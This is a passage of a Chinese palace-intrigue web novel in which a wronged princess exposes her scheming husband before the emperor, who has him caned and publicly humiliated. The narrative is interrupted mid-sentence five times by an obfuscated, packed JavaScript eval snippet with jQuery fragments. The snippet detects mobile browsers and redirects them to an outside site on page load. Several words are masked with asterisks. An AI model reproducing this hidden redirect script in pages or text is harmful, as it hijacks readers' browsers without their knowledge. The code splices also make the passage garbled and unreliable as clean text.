“是,是他主动找上本王,说能替王妃驱鬼,白云观名气这样大,本王当然相信了!”见谢无咎一脸不信,萧子景又抬手指向已经被押走的幽云**。 “九千岁,本王也是受害者!” 叶晚竹这时候将金杖伸到萧子景眼前晃了晃,他猛地一噎。 “王爷派了多少人在京中散播各种谣言,一定要引导城中百姓相信我被恶鬼上身,这也是受害人的做法?” 将萧子景这几日的行为打探得清清楚楚,叶晚竹面上的笑容透着了然。 “九千岁,”她歪头看向谢无咎,“妾身一切正常,王爷却硬要如此污蔑,还让人着重传播妾身有**之祸的言论,妾身现在十分怀疑,王爷是与幽云**一早勾结,图谋不轨!” “这样一来,若天下大乱,王爷就能把一切推到妾身身上了。” 至于为什么会天下大乱? 叶晚竹似笑非笑地盯着萧子景又变得难看了两分的脸色。 萧子景这会儿心下慌乱,完全没有想到事情会发展成现在这个地步。 叶晚竹这**,是在暗示他有谋反之心? 用心险恶!用心险恶! “九千岁!您千万不能相信她的话!”萧子景用祈求的目光朝着谢无咎看了过去。 谢无咎摸了摸下巴,面上看似十分严肃。 “诶呀……王爷王妃这话,听上去好像都有些道理。” 他一开口,听见那不怀好意的语气,萧子景的心顿时凉了半截。 “兹事体大,本督也不好做主,还是请二位和本督到宫中去一趟吧!” 谢无咎这一开口便没了转圜的余地,一炷香后,萧子景与叶晚竹一道跟在押送幽云**的车队之后,来到了皇宫之中。 昭德帝正在御书房等候,他显然已经听说了宫外发生的事情,见着几人鱼贯而入,帝王年轻的脸上写满不悦。 第四十五章 只是太委屈了 今日谢无咎去查抄白云观本是朝中的正经事,谁知最后却绕到了景平王府的这一摊子混乱上。 那些流言在京中传得沸沸扬扬,昭德帝想不知道都不可能。 “幽云**何在?”他垂眸开口,语气越发威严,“押到朕面前来回话!” 隐月闻言立刻上前,一把将脸色煞白的幽云**按倒在御书房的书桌之下。 昭德帝不冷不**掀起眼皮,往景平王府这边看了一眼,随后便转向幽云**,率先说起了正事。 叶晚竹透过眼睫悄悄朝昭德帝面上看去。 当年皇子夺嫡时,昭德帝是年龄最小的一位,母族也没什么势力,否则也不至于落得那样九死一生,被外祖母救下的境地。 他登基时还是少年,如今这么多年过去,昭德帝已过而立之年,除了气势越发沉稳霸气,容颜却几乎没多少改变,,仍是她幼时记忆中的模样。 外祖母虽然救了昭德帝,却从未打算以此攀附皇家,她亲眼见着争斗的残酷,还有意让叶晚竹和母亲都远离宫廷之事。 是以叶晚竹与昭德帝只有宴会上的几面之缘。 她出入皇家宴会都是与外祖母相伴,大好的场合,昭德帝向来温声细语,眼下对上幽云**却十分不假辞色。 有谢无咎事先掌握的证据,还有从白云观中找到的那些,幽云**没再能狡辩出什么东西,很快便倒在地上瑟瑟发抖着求饶起来。 “陛下,贫道,贫道利欲熏心,甘愿认罚,可贫道从没害过旁人性命,求陛下网开一面……” 谢无咎一直束着手站在一旁,这会儿忽然嗤笑一声。 “**这话说得实在好笑,难道本督方才在景平王府看到的那些刑具,是景平王私下收藏的不成?” 他边说边朝萧子景投来一眼注视。 “刑具?” 闻言,昭德帝皱起了眉头,“这又是怎么回事?” 萧子景背上冒出冷汗,想说话,可昭德帝的眼神却一直都在谢无咎的身上。 谢无咎朝上方拱了拱手,态度仍是散漫,倒是终于将语气中的戏谑收了起来。 “回圣上,此事与近日京中流言有关……” 他三言两语将方才王府里的事情说完,昭德帝终于如萧子景的愿,转头朝这边看来,眼底却带着令人震颤的怒意。 “圣,圣上!” 萧子景激灵灵打了个寒战,咚地一声跪倒在地。 “这,这都是误会——” “圣上!” 辩解的话刚要出口,萧子景忽然感到身旁一震。 叶晚竹也一掀衣袍在他身边跪了下来。 “这不是误会,一切都是景平王针对妾身制定的阴谋,妾身没有疯病,恶鬼上身更是无稽之谈,请圣上还妾身一个清白!” 她跪倒在地,身形却挺得笔直,毫不躲闪地朝着昭德帝看去。 “你……” 萧子景眉头紧皱,却忽然心思一转。 下一刻,他看向昭德帝的眼神越发可怜巴巴起来。 “陛下,既然王妃说她没有病,那就当没有好了,之前都是微臣没看好,才让王妃做出那些惊世骇俗之事,还闹到了陛下面前,日后,日后微臣一定对王妃多加看顾,不再出现这样的意外!” 他不说叶晚竹有问题,字里行间却全都是她有问题。 萧子景一边朝昭德帝磕头,眼底一边阴冷起来。 疯子是最难证明自己不疯的! 只要他咬死,叶晚竹就得继续疯着! “王爷口口声声说我病了,说我是疯子,不知可有什么证据?”叶晚竹的声音这时候从一旁传来。 证据? 萧子景忍不住冷笑一声。 “自本王回京,王妃自己都做了什么,难道不记得了?王府上下被你打得人人带伤,本王也不能逃脱,王妃总不能视之不见吧?” 喘了口气,萧子景一把掀起袖子,给众人展示他手背上狰狞的鞭伤。 几个小太监忍不住倒吸着冷气。 这是景平王妃打的? 下手真狠啊! “王爷只说挨打,怎么不说妾身为何要动手?” 听着殿中暗暗惊讶的氛围,叶晚竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399758|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴角却掠过了一丝笑意,稍纵即逝。 萧子景听着这话忽然明白过来! 坏了! 他刚想张口,却已经被叶晚竹截住。 “王爷在外征战是为国效力,可却往府中带回女子,还要抬成平妻,恕妾身眼拙,除了折辱妾身,我看不出此举还有什么别的用意。” “至于王府之中……大嫂假借妾身的名义四处借贷银子,把妾身的铺子经营得半死不活,亏损了几万两银子,换做王爷,您能没有脾气吗?” “更别说你们联合幽云**,败坏我的名声,想趁机置我于死地,如此一来,就没人阻挡王爷您抬平妻了是不是?” 迎着他震惊懊悔的眼神,叶晚竹已经将这些天来发生过的事情一股脑地吐了出来。 想在圣上面前装可怜? 还是先掂量掂量,自己干过的事敢不敢见人吧! 瞪了萧子景最后一眼,叶晚竹猛地转过头去。 “陛下,”她昂起下巴,“妾身没疯,妾身只是……太委屈了。” 不把这口恶气全都发出来,她才是疯了。 这些还只是萧家行事的冰山一角,还有更多藏在前世的水面下,除了叶晚竹自己,恐怕再也不会有人知道。 垂下眼,叶晚竹仿佛喃喃自语一般说完了后半句话。 萧家如此待她,她凭什么不能原样奉还? 别人不知道,那些伤害她就没有承受过了吗? 她委屈,她不服,她一定要全都报复回去! 管它是不是合情理,管它是不是讲规矩! 呼吸变得急促,叶晚竹别过头,眼中满是破釜沉舟的倔强。 这是一个被逼到绝境,无路可走的人。 昭德帝的脸色已经暗了下去,看着萧子景,眼底全是沉沉的光芒。 “圣上,这……微臣……” 萧子景也被叶晚竹忽然爆发出来的气势所慑,又迎上了昭德帝的眼神,顿时结结巴巴,不知道该如何开口。 “萧子景,景平王妃所言,是真是假?”昭德帝双手扶着桌子,慢慢站起身来。 第四十六章 王妃还是痴情之人? “这……” 这话,他怎么能回答? 萧子景嗫嚅着,额头上的冷汗一层一层地冒出来,挡都挡不住。 “圣上,景平王妃恐怕所言非虚。” 谢无咎轻飘飘的声音这时候又响了起来。 “小人这些天来调查幽云**,每日都能看到那位平妻姑娘前往白云观,据观中弟子供述,提出要败坏王妃名声,再借机驱鬼好控制景平王妃的,正是此人。” 萧子景垂着头不敢看向上方,却还是能感到昭德帝的呼吸又变得深沉了几分。 这该死的阉人! “哼!” 谢无咎的话音刚一落下,昭德帝便用力拍起了桌子! “萧子景!朕给你封王封将,是看在你战功赫赫,不是让你仗势欺人的!” 萧子景闻言更是抖若筛糠,趴伏在地上,连一句完整的话都说不出来。 “微臣,微臣……” “你给朕闭嘴!” 昭德帝显然正处于盛怒之中,又拍了一把桌子,“柔妃那事儿也和你有关吧?景平王,你的手伸得够长啊!” 敢勾结宫妃暗中行事! 萧子景哆嗦得更加厉害了,他眼前发黑,脑子却是一片空白。 见他这幅敢做不敢当的样子,昭德帝也没了再问下去的必要。 “萧子景,你在京中传播谣言,以致人心惶惶,为的还是诽谤自家人,轻重不分,真是个蠢货!” “仗二十,罚一年俸禄,三月禁足!” “这三个月,你给朕好好反省,若是反省不出什么东西,那就不用再还朝了!” 昭德帝的声音在殿中层层回荡,萧子景抬起头,眼中满是绝望。 挨打禁足也就罢了,可这一年的俸禄罚下来,他还能活吗? 王府里已经要揭不开锅了啊! “圣上。” 昭德帝话音落下,谢无咎忽然不着痕迹地咳嗽两声,插话进来。 “那景平王府和幽云**的联系……” “陛下。” 叶晚竹方才一时情绪激动,沉默地平复了半晌,这会儿却也忽然开了口。 “幽云**与家师曾有龃龉,这才公报私仇,然师傅已经仙逝,妾身不欲因调查再前去惊扰,望圣上谅解。” 这话便是将与幽云**的关系揽到她自己身上了。 谢无咎眉头一皱,还没说完的后半句话便全都吞了回去。 昭德帝垂眸看看他,又转头看着叶晚竹,片刻后叹了口气。 “也罢,这便是王府的家事了,你们自行处理。” “来人!”他扬声向外,“将景平王拉出去行刑!” 大内侍卫立刻鱼贯而入,将浑身瘫软的萧子景架起来,往殿外已经准备好的长椅上去。 另有两个侍卫一左一右地站着,手中小臂粗的木棍在阳光下散发着闪亮的色泽。 一把将萧子景按上去,还没等他回过神来,廷杖重重落下—— “啊!” 专司此职的大内侍卫力道掌握得十分精准,每一杖都能打得萧子景失声惨叫,哀嚎连连。 叶晚竹看着这两人的动作,默默记住杖子落下的力度。 “景平王妃。” 昭德帝不知道什么时候从高台走下,缓步来到她的身边。 叶晚竹微微一惊,要反身行礼,手肘却被昭德帝托住了。 “朕知你和萧子景是少年夫妻,又育有一子,但你也不可太过心软。” 昭德帝目视前方,声音压得很低,仿佛只是在旁观萧子景受刑。 他道:“你手中有那杖子,便是朕给的底气,该出手的时候,无须有太多顾虑。” 说完,不等叶晚竹做出反应,他便大步走出殿门,往院中而去。 叶晚竹望着昭德帝的背影,片刻后明白过来。 圣上这是觉得她到底不舍得萧子景,方才才拦住谢无咎的话,想保他一回吧? 叶晚竹又勾了勾唇。 她的确是不想让萧子景就这么一败涂地,但和怜惜他却没有半分关系。 她还没玩够,萧子景怎么能提前退场? 还有萧家人和阮莹莹,一个也别想跑! 就这么被律法惩治,简直太便宜他们了! “陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408479|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,行刑结束了。” 昭德帝走到长椅面前的时候,二十廷杖刚刚打完,大内侍卫退到一边,萧子景抬起头,还没说话先吐出一口血。 “陛下……”他半死不活地喘着粗气,“微臣知,知错了……” “知错就好。” 昭德帝的语气仍是冷冰冰的。 “连家宅都管理不好,朕要如何放心用你排兵布阵?这样的事情,莫要再让朕听见!” “王妃待你一片真心,你若辜负了她,朕不会放过你。” “平妻之事,你最好连想都不要想。” 冷漠地说着话,昭德帝的声音却不高,只有趴在长凳上的萧子景能听见。 剧痛已经让萧子景变得麻木,他一双眼睛虽然看着昭德帝,但神情空洞无物,显然这些话并没有听进他的耳朵里去。 “送王爷王妃出宫吧!”直起身子,昭德帝的声音又恢复了一贯的有力,朝两旁道。 谢无咎这时候小步走上前来。 “幽云**那些刑具还在王府,小的这就去取来送回宫中,一道将二位送回去好了。” 他低着头,一眼也不曾向长凳上的萧子景看去。 沉吟一瞬,昭德帝点点头,“也好。” 放了话,昭德帝便返回屋中,继续去审问幽云**,看那模样,景平王府和萧子景的事已经可以收场了。 谢无咎嘴角挂着惯常的微笑,让人抬着萧子景,又朝叶晚竹做了个请的手势。 不再打扰圣上问话,一行人悄无声息地离开了御书房。 萧子景被打得一身是血,趴着起不了身,谢无咎仿佛是有意为之,找来一辆板车将他放了上去,拖在他九千岁的车驾后。 板车四周没有遮蔽,如此一来,萧子景便要顶着一身狼狈,招摇过市了。 叶晚竹则是被请上了那辆豪华马车。 “往京中四城门都绕一圈,再去景平王府。”谢无咎对着隐月撂下一句话。 进到马车中坐下,谢无咎抬眼看向叶晚竹,一脸的笑容顷刻间便散了个无影无踪。 “真没想到,王妃还是个……痴情之人?” 第四十七章 带王爷游街! 叶晚竹闻言一愣,不由得朝谢无咎面上看去。 这位一脸平静如水,看不出情绪,但却显然不甚愉快。 “本督不喜心慈手软之人。”见叶晚竹看来,谢无咎掀起眼皮,又淡淡地道。 “王妃态度一日三变,莫不是在溜着本督玩?你的胆子未免也太大了,可曾想过本督发怒的后果?” “九千岁误会了,”叶晚竹这才明白过来,“圣上一言九鼎,妾身若是顺势应下,日后便没有好戏让九千岁观赏了。” 再说,她方才若是顺着谢无咎的话,把萧子景牵扯进**案中,待查明真相,岂不是反而还了萧子景一个清白? 她才不要。 萧子景就该这么被人指指点点地活! 谢无咎又看了叶晚竹一眼,这才显出一点不同寻常的神情来。 叶晚竹坦然以对。 这阴晴不定的九千岁,她左右也掌握不住,还不如随机应变。 况且他虽然话说得凶狠,语气却并没多重。 这就是一见如故的待遇? 倒是不错。 “景平王爷如此心狠手辣,想来这不会是最后一次,王妃可有想过和离?” 眼神微妙地看了叶晚竹几眼,谢无咎忽然挑了挑眉。 “不曾。” 叶晚竹答得仍然十分痛快。 “萧子景在外征战多年,京中的事情他从不理会,银子更是一块都没往回寄过,这景平王府是用我的嫁妆扶持起来的,现在他回来做负心汉,我凭什么就要把这一切拱手相让?” “就算是要走,我也得让萧家把欠了我的,全都吐出来。” 说着话,叶晚竹眼中又出现了一抹疯癫。 这已经是她刚刚重生时候的想法了,眼下看来,还是太轻! 她以为是自己前世的隐忍委屈,才惯的萧家人蹬鼻子上脸,却原来他们比自己想象中的更加阴险狠毒,无所不用其极。 既然如此,只还上前世的债,那可就不够了。 萧家凭什么如此嚣张? 萧子景外姓王的头衔。 那就让萧家失去一切,重新滚回去当那个一无所有的破落户好了! 到了那个时候,看他们还怎么耀武扬威? 不断地转动着思绪,叶晚竹双眼放光,也不由得走神起来,等思绪落定,她抬起头,便看到坐在对面的谢无咎不知什么时候已经闭上双眼,开始假寐。 他面上没有一丝表情,呼吸绵长而平缓,看起来比清醒时总是笑容邪肆的模样平和不少。 若不是威名赫赫,谢无咎眼下更像是赶路途中的高门少爷。 叶晚竹多看了两眼,赶在被九千岁大人发现之前移开了视线。 她移到窗边敲了几下,书画正随行在外面,声音马上传来,“王妃?” 推开窗户,叶晚竹探出头去小声地说了几句。 书画嘴角上扬,一双眼睛顿时变得亮晶晶的。 “奴婢这就去!” —— “……诶呦,不会吧?” “千真万确,我亲耳听人说的!” “怎么能这样?啧啧啧……” 萧子景又一次醒来的时候,模模糊糊地便听见各种议论声钻进了自己的耳朵。 他试着动了动身子,剧痛立刻袭来,他忍不住倒吸一口冷气。 谢无咎那阉人,一定是存心折磨他,将他抬出宫的那些侍卫动作粗鲁,毫不留情,害**什么时候便被颠得晕了过去! 前些日子叶晚竹抽在他身上的伤还没好利索,又受了二十廷杖,萧子景这会儿已经快感觉不到自己还有下半身了。 料峭春风恰在此时吹过,萧子景背上的衣裳都被打烂,冷风顺着伤口一卷,他顿时又打了个哆嗦。 等等,冷风,车轮,还有说话声…… 猛地睁开双眼,隔着板车的缝隙,萧子景顿时和路边一众身穿粗布衣裳的平民百姓对上了视线! 这是在干什么? 游街示众? 他堂堂大将军,大梁异姓王,怎么能受这样的侮辱! 大怒之下,萧子景想起身,却发现他连动都动不了。 也就是这个时候,他也后知后觉地发现,街边看热闹的百姓看着他的眼神有些不对劲。 惊异,反感,嫌恶。 他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408480|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼扫去,那些拿他当热闹看的都算友好了! 这是怎么回事? “还皇亲国戚呢,给自己媳妇造谣,这还是人吗?” “嗐,你们不记得那个跟景平王一起回京的女子了吗?有了新欢,忘了旧爱呗,不过这景平王的心也太狠了,明媒正娶的夫人都能这样欺负!” “你们男人都不是好东西!老娘看你就来气!” “诶呦呦,疼!我可没找小的啊!景平王是个畜生秧子,跟我可没关系……” 街上行人三三两两,凑成堆不住地讨论着,萧子景听去却眼前一黑! 谁! 谁把这些话传出来的? “住口……你们,你们休要胡说八道……” 想喝止这些该死的愚民继续讨论,萧子景努力蠕动嘴唇,可惜他伤势太重,只发出来一点气若游丝的动静。 只有随行在车边的隐翼能听见,他不动声色地挪了两步,抬手将萧子景衣服上被打烂的破布扯下,团成一团塞进景平王口中。 还敢耍威风? 做梦吧! 以九千岁的马车为首,一行车队在京中不紧不慢地转了整整一圈。 京中百姓本已经对景平王妃被恶鬼上身一事信得七七八八,如今突然听说这一切都是景平王编纂出来的谎话,遭到如此愚弄,自然怒不可遏。 况且这还没法怀疑,景平王可是在宫中被圣上打了二十大板呢! 事实就在眼前,众人的骂声一浪高过一浪。 起先还顾忌着九千岁的车驾,但后来始终不见这位现身,百姓们便更是放开了胆子。 骂不过瘾,不知道是什么人起的头,拿来臭鸡蛋和烂菜叶子往萧子景的板车上丢去。 连唾弃**犯的架势都摆出来了! 隐翼等人纷纷后退,不想沾染这一身污糟,等车队终于回到景平王府门前的时候,萧子景那辆板车已经不堪入目! 无力抵抗,萧子景已经从最初的愤怒变得心如死灰,只想赶快结束这噩梦般的一切。 等终于看到熟悉的王府,他抬起头,却又和福顺公公对上了视线。 ——还没完呐? 第四十八章 圣上御赐匾额两块! 萧子景的脸不能自已地扭曲起来。 福顺公公的脸这会儿也抽抽着,他看着眼前的一片狼藉,尽力地控制着自己的表情。 九千岁带着景平王巡街他已经知道了,但这是什么巡法? 马车中,听见众人和福顺公公见礼的声音,“沉睡”了一路的谢无咎忽然睁开了眼睛。 彼时叶晚竹正要下车,眼前忽然多出一条胳膊。 谢无咎已经一马当先,自己走了下去,又借着动作,朝她摇了摇头。 “公公怎么来了?可是圣上又有什么指示?” 快步朝着福顺公公走去,谢无咎微微眯起了双眼。 福顺公公下意识地低了低头。 虽然同为太监,但这位九千岁的气势,哪怕他是圣上的心腹,也要避其锋芒。 “圣上有言,方才审问幽云**后,对王府还有些话要说,特意让咱家过来传旨。” 不是与巡街有关,谢无咎便展颜一笑。 “原来如此,公公请!” 他伸手朝王府大门示意,二人客气着朝院中走去。 景平王府早已经得了消息,一众伤员已经在此等候。 看到满身污渍,半死不活被抬进来的萧子景,阮莹莹下意识地惊呼一声,又赶快捂住了嘴。 怎么连圣上都要帮着叶晚竹? 这个**,凭什么这么好命! 看着脚步轻快,若无其事从院外走来的叶晚竹,阮莹莹一双眼恨得血红。 自己和萧子景有婚约的时候,他是个怎么也出不了头的破落户,可一朝和叶晚竹成亲,财富地位全都来了! 等她再和萧子景联络上,这才多长时间,这景平王府,怎么看上去又有衰败之相? 阮莹莹又惊又慌。 叶晚竹这时候已经带着书画走到德顺公公面前,正要下跪,却被德顺公公一把扶住了。 “王妃就不必跪了,”德顺公公笑容可掬,“这是圣上的意思。” 这道圣旨本就是来申斥王府这些人的。 闻言,叶晚竹立刻退到一边,站得笔直。 德顺公公再转过头看向院中,那灿烂的笑容顿时就消失得无影无踪。 他展开圣旨大声朗读起来。 诬陷叶晚竹这件事的参与者,从萧子易到阮莹莹一个都不少,已经全部被幽云**交代了出来。 整个景平王府的主子沆瀣一气,昭德帝显然气得不轻,在圣旨中将几**骂了一通,又和萧子景一样,罚了三月的禁足。 “……另赐景平王府牌匾两副,立刻悬挂,不得有误!” 圣旨很长,德顺公公足足念了一炷香,众人都被骂得有些神情恍惚,忽然听见圣上还给了赏赐,齐齐面露茫然。 德顺公公朝外一招手,立刻便有两组小太监,各自抬着一架匾额过来了。 揭开一看,一架是“静心居”,另一架是“默言阁”。 “王爷和萧家大老爷一人一架,您二位自行分配。” 德顺公公话音刚落,谢无咎放纵不羁的大笑便响了起来。 “妙啊!” 他连连鼓掌,乐不可支地瞧着那两架匾额。 只要看见这两座匾额,所有人都会记起萧家人做过的事情! 萧子易等人仍然跪在地上,这是圣上的赏赐,几人面色难看,却不敢作声。 谁也不想开口,叶晚竹走上前去,替欲言又止的萧子景挑了“默言阁”。 “祸从口出,这块最适合王爷。”她笑得十分灿烂。 萧子景有气无力地看着叶晚竹,他这会儿连说话的力气都没有。 况且嘴还被堵着! 于是谢无咎的笑声变得越发响亮。 “来来来,本督这里人手管够,这就替王爷将匾额换上!” 他俨然是看热闹不嫌事大,不由分说,让人进来抬着两块匾额就走。 众人敢怒不敢言,憋屈地垂着头,不发一言。 德顺公公这时候给了叶晚竹一个眼色,又带头走到萧子景附近。 被城中百姓丢了一身污物,萧子景身上正散发着难闻的气味,德顺公公也不想靠近。 确认萧子景正睁着眼睛,他便抬高声音道:“王爷,王妃,圣上还让咱家给您二位传句话。” “二月廿三是个良辰吉日,有些事,您二位该抓紧办了。” 说着话,德顺公公往还跪在院中的阮莹莹身上看了一眼。 叶晚竹顿时明白过来。 萧子景想抬阮莹莹做王府平妻是痴人说梦,但二人自打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411791|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回京便态度高调,眼下最干脆的解决办法就是萧子景将她纳为妾室。 “唔唔唔!” 萧子景闻言瞪大了双眼,想说话,却只能发出呓语。 他着急地看着身边的人。 快把这封口给他拿走! “臣妾领旨,一定会把事情办得漂漂亮亮的!” 不等萧子景蹦跶,叶晚竹便已经笑着应了下来。 福顺公公客气两句,看向萧子景的时候,神情又微微泛了冷。 “那王爷便好好养伤,也免得圣上惦记了。” 若是他没看错,这位脸上方才写着的是拒绝吧? 这是圣意! 简直是不知所谓! 福顺公公很快离开了,王府的下人这才在萧子景愤怒的瞪视下,战战兢兢地上前替他将嘴里的布条取出来。 “你,你这**,你是故意的!” 刚刚能出声说话,萧子景便用尽全身力气嘶吼起来。 他早就答应了莹莹,要给她平妻之位! 只是这声音落在叶晚竹耳中,却如同蚊蚋一般。 “王爷说圣上是故意的?” 故意曲解萧子景的话,叶晚竹面上神情满是讶异。 “您说圣上故意不让阮姑娘好过?” “本王没有!”萧子景感到喉头都漫起了腥甜,“你——” “王爷说圣上要为难您?”叶晚竹的眉头挑得更高了。 “……” 萧子景急促地喘息着。 “去办吧!”他咬着牙道。 “妾身遵命。” 一字一字道出,叶晚竹笑眯眯的,不见半分要替夫婿纳妾的不愿。 前世因为她的坚持,阮莹莹最后也是以妾室之位入了王府,但也因此,萧子景和萧延都恨透了她,处处针对。 今生圣上下旨要萧子景纳妾,叶晚竹倒要看看,这对父子打算恨谁去? “好了,王爷刚受了大刑,身体虚弱得很,快把王爷抬回——默言阁去吧。” 指挥着冬生等人上前,提到这个名字,叶晚竹的笑容更加灿烂。 王府下人抬着萧子景刚走到一半,便听见一阵混乱声从春风居的方向传来—— “放下!你们要干什么?” 第四十九章 本督办事,你管不着 是阮莹莹的声音! 这声音里满是惊慌,萧子景也不由得变了脸色。 “快,快抬本王过去!” 这又是出了什么事? 冬生等人连忙照办,一行人刚刚走远几步,隐风忽然出现在叶晚竹身边。 “王妃,九千岁让属下请您去看戏。” 说着话,隐风也朝春风居的方向看了一眼,表情颇有些无可奈何。 这动静是谢无咎闹出来的? 叶晚竹顿时来了兴趣,“走,过去瞧瞧。。” 萧子景担心阮莹莹,让下人把自己抬得飞快,叶晚竹一行也跟着加快脚步,没走多远,就看见不少东厂侍卫接二连三地从春风居的方向出来了。 这些人手里都搬着东西,叶晚竹还在观望,萧子景已经挣扎着想坐起来了。 这不都是他命人放在阮莹莹院中的名贵家具,珍宝古玩吗? “九千岁您这是什么意思?圣上没有下旨让您抄本王的家吧!” 再也忍不住,萧子景朝着跟在队伍最后走出来的谢无咎质问道。 谢无咎走得摇摇晃晃,步伐懒散,口中还断断续续地哼着小曲儿,闻言不慌不忙地走了过来。 “你们怎么做下人的?怎么也不给王爷洗洗脸?这眼睛都被糊住,看不清东西了。” 他对着冬生等人皱了皱眉,语气却写满了幸灾乐祸。 冬生悄悄朝自家王爷那一脸的污渍上看了一眼,又赶紧收回目光。 “九千岁!” 萧子景气得哆嗦了两下,“你——” “谁说本督要在王府抄家?” 谢无咎终于低下头,截住萧子景细弱的咆哮,又笑着道,“景平王,眼睛都看不清了还瞎说,圣上的匾额难道不好用?” “那你这是在干什么!” 萧子景今日已经神志不清了太久,顾不上圣上了,他抬手朝东厂侍卫一指,“你说啊!” 谢无咎仍是笑容满面,眼底却渐渐泛了冷。 “王爷这倒是来的正好,本督还想问问您,阮姑娘院中为何会有如此豪华的规格?远超我朝规定的用度,这是怎么回事啊?” “本督头一回来景平王府的后宅,都差点儿被晃花了眼,说不定圣上亲自前来,都能从这儿挑出两件他没有的宝贝吧?” 萧子景险些被自己的口水呛住。 “你,你胡说!” 阮莹莹的春风居里是有不少名贵之物,但怎么可能越过谢无咎和宫中的规格? “九千岁怎能如此诬陷本王?”他抬起眼,恨恨看着谢无咎。 “咦?原来景平王知道什么叫诬陷啊?” 故作讶异着,谢无咎弯下腰凑近了萧子景。 萧子景眼下满头满脸的污渍,干涸的臭鸡蛋液和粘在脸上的烂菜叶子让他极不舒服,不用看都知道自己正狼狈至极。 可朝着他靠近的这张脸,眉目如画,连一丝一毫的缺陷都找不出。 萧子景本能地移开了目光。 下一刻,身子一歪,他被谢无咎一脚踢翻在地! “王爷明知故犯,本督很不高兴,这就替你把春风居的东西都送到王妃院中,权当是补偿了。” 叶晚竹闻言斜晲着东厂侍卫们,一行人的方向的确是潇湘院。 “多谢九千岁。”她轻飘飘地道。 萧子景躺在地上哀嚎着,他方才屁股先着地,疼得想晕都晕不过去。 “九千岁的手未免伸得太长了!王府要如何,那是本王自己的事!九千岁借花献佛讨好我的王妃,意欲何为?” 他实在忍不住将真心话说出了口。 叶晚竹到底有什么好的,能让谢无咎这个阉人看重也就算了,怎么就连昭德帝都向着她? 萧子景看向叶晚竹的眼神便更是阴恻恻的。 叶晚竹冷笑一声上前,看准了他的屁股便是狠狠一脚! “若不是九千岁,我还真不知道,王爷一边在我面前哭穷,一边给阮姑娘下了这样大的手笔!” “这些宝贝我就不客气地收下了,王爷就当给自己买个教训吧。” 萧子景急促地喘息了两下,忽然吐出一口血,不知道是受伤太重,还是气的。 他绝望地瞪着叶晚竹,呼吸也开始变得急促。 “快把王爷抬回屋去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411792|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”叶晚竹又抬起头来,“伤成这样,王爷还是别操心别人,安心在屋里养着吧!” 萧子景要是现在就气死,那多无趣啊。 “隐风,你动作快,去请个靠谱的大夫回来。”她又道。 隐风低着头,下意识地不敢看九千岁的脸,一溜烟地往王府外跑去。 谢无咎面上却并未露出厉色,反倒是又恢复了方才的春风和煦,笑着又走到萧子景面前。 “本督想如何办事,就如何办事,景平王,你管不着。” 他就愿意给叶晚竹帮腔,就愿意看这景平王府鸡飞狗跳地演大戏。 萧子景能管吗? 他敢管吗? 谢无咎笑眯眯地伸出脚,又在萧子景屁股上踢了两下。 疼痛再次袭来,萧子景终于承受不住这一波又一波的打击,两眼一翻晕死过去。 “啧。”谢无咎撇了撇嘴。 重新站直了身子,他再看向叶晚竹的时候,方才那点嫌弃便已经消失得无影无踪了。 “好了,王府的事情办完了,本督还要回宫复命,便不打扰王妃处理家务事了。” “府务糟心,王妃可要注意身体啊。” 不仅仅是嫌弃,谢无咎语气亲昵自然,就连在马车上的不悦也一并消失了个干干净净。 